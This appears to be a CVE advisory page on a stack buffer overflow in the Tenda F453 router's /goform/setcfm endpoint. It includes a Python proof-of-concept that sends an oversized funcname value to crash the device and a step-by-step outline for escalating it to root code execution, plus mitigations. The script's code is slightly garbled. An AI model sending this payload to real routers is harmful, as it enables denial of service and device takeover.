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A critical stack-based buffer overflow vulnerability, identified as CVE-2026-3728, exists in the Tenda F453 router running firmware version 1.0.0.3/1.If. The flaw is located in the `fromSetCfm` function, which is accessible via the `/goform/setcfm` endpoint. This function handles HTTP POST requests and processes two user-supplied parameters: `funcname` and funcpara1. The vulnerability is triggered specifically when the `funcpara1` argument is set to “save_list_data”. When this condition is met, the value of `funcname` is passed to a subsequent function (sub_3A874) without any proper length validation. Inside this deeper function, the unsanitized `funcname` input is used directly in a `sprintf` call, which writes the data into a fixed-size stack-based buffer. Because there are no bounds checks, an attacker can supply an overly long string for the `funcname` parameter. This overflows the local buffer on the stack, corrupting adjacent memory regions. Successful exploitation allows a remote, authenticated attacker (with low privileges) to crash the device (Denial of Service) or achieve arbitrary code execution with root privileges, leading to a full system compromise. The exploit is publicly available, increasing the risk of active exploitation.
dailycve form:
Platform: Tenda F453
Version: 1.0.0.3/1.If
Vulnerability : Stack-based overflow
Severity: 8.8 HIGH
date: 03/08/2026
Prediction: 04/08/2026
What Undercode Say:
Analytics:
The vulnerability is triggered by sending a crafted POST request to the `/goform/setcfm` endpoint. The following Python script demonstrates how to cause a crash (Denial of Service) by overflowing the buffer. This script sends a large payload of 1000 “A” characters for the `funcname` parameter while setting the necessary condition (funcpara1=save_list_data). In a real-world attack, this payload would be replaced with shellcode to execute arbitrary commands.
import requests
Target router details
target_ip = "192.168.0.1"
url = f"http://{target_ip}/goform/setcfm"
Payload to cause a buffer overflow
1000 'A's to overflow the stack buffer
payload = "A" 1000
Parameters to trigger the vulnerable code path
data = {
'funcname': payload,
'funcpara1': 'save_list_data' Required to reach the vulnerable sprintf
}
print(f"[] Sending exploit payload to {url}")
try:
Send the POST request
response = requests.post(url, data=data, timeout=5)
print(f"[+] Request sent. Response code: {response.status_code}")
except requests.exceptions.Timeout:
print("[+] Target device likely crashed (timeout received).")
except Exception as e:
print(f"[-] An error occurred: {e}")
print("[] Exploit attempt finished.")
How Exploit:
- Reconnaissance: Attacker identifies a Tenda F453 router on the network and determines the firmware version (e.g., by checking the web interface source code or using default credentials).
- Craft Payload: The attacker crafts a malicious HTTP POST request to
/goform/setcfm. - Set Trigger: The request includes the parameter `funcpara1=save_list_data` to enable the vulnerable code path.
- Overflow Buffer: The `funcname` parameter is set to a string that exceeds the buffer size (e.g., 500+ bytes). This string contains malicious shellcode and NOP sleds to redirect execution flow.
- Gain Control: The overflow overwrites the return address on the stack. When the function returns, execution jumps to the attacker’s shellcode, granting them remote code execution as the root user.
Protection from this CVE:
- Vendor Patch: Apply an official firmware update from Tenda immediately upon release.
- Network Segmentation: Isolate IoT devices like routers on a separate VLAN to limit the blast radius of a compromise.
- Disable WAN Access: If remote management is not required, disable access to the web interface from the WAN side.
- Input Filtering: As a temporary workaround, deploy a Web Application Firewall (WAF) or IDS/IPS (like Snort or Suricata) with custom rules to block requests to `/goform/setcfm` containing excessively long `funcname` parameters.
Impact:
- Denial of Service: A simple crash of the `httpd` service or the entire router, requiring a manual reboot to restore functionality.
- Remote Code Execution: Complete takeover of the device, allowing the attacker to monitor network traffic, pivot to internal systems, add the router to a botnet (e.g., Mirai), or alter DNS settings for phishing attacks.
- Persistence: Attackers can modify the firmware to maintain persistent access, surviving reboots.
- Data Breach: All network traffic passing through the compromised router can be intercepted and analyzed.
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Sources:
Reported By: nvd.nist.gov
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